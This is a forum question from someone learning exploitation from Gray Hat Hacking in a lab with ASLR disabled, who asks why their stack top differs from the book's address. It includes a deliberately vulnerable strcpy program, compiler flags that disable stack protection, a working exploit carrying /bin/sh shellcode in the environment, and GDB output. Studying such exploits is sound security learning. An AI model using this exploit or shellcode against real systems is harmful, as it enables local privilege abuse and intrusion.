According to the book, Gray Hat Hacking, "all Linux ELF files are mapped into memory with the last relative address as 0xbfffffff". By subtracting 4 NULL bytes, the length of the filename and the length of the shellcode from this address, it should apparently be possible to set the return address in the exploited buffer to that of the environment variable.
However, upon attempting this, it seems to me that in my 64-bit Linux testing environment (ASLR disabled) that the stack starts not at 0xbffffff, but at 0xffffdfff.
Why does my stack start at a different address to that in the book? This isn't about ALSR, as the address does not change every time, but I want to know why my addresses start at 0xffffdfff instead of the address in the book. Ideas?
Here is the vulnerable buffer:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
char buffer[10];
printf("Vulnerable program has loaded...");
fflush(stdout);
strcpy(buffer, argv[1]);
}
Compiler options:
gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c
And here is the exploit code:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define FILENAME "./vulnerable_buffer_small"
#define SIZE 80
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main(int argc, char *argv[]) {
char *environment[] = {shellcode, NULL};
char buffer[SIZE];
char *parameters[] = {FILENAME, buffer, NULL};
int *pointer, i, address;
address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME);
pointer = (int *) (buffer + 2);;
for (i = 0; i < SIZE; i += 4) {
*pointer++ = address;
}
printf("Using address: 0x%X\n", address);
execle(parameters[0], (char*) parameters, environment);
exit(1);
}
I tried to find the address of the first environment variable in the vulnerable program with GDB, but without success:
(gdb) x/s *environ
*lines removed for clarity*
0xffffdfb5: "DISPLAY=:1"
(gdb)
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
(gdb)
0xffffdff8: ""
(gdb)
0xffffdff9: ""
(gdb)
0xffffdffa: ""
(gdb)
0xffffdffb: ""
(gdb)
0xffffdffc: ""
(gdb)
0xffffdffd: ""
(gdb)
0xffffdffe: ""
(gdb)
0xffffdfff: ""
(gdb)
0xffffe000: <error: Cannot access memory at address 0xffffe000>
Can anybody explain what I've missed here?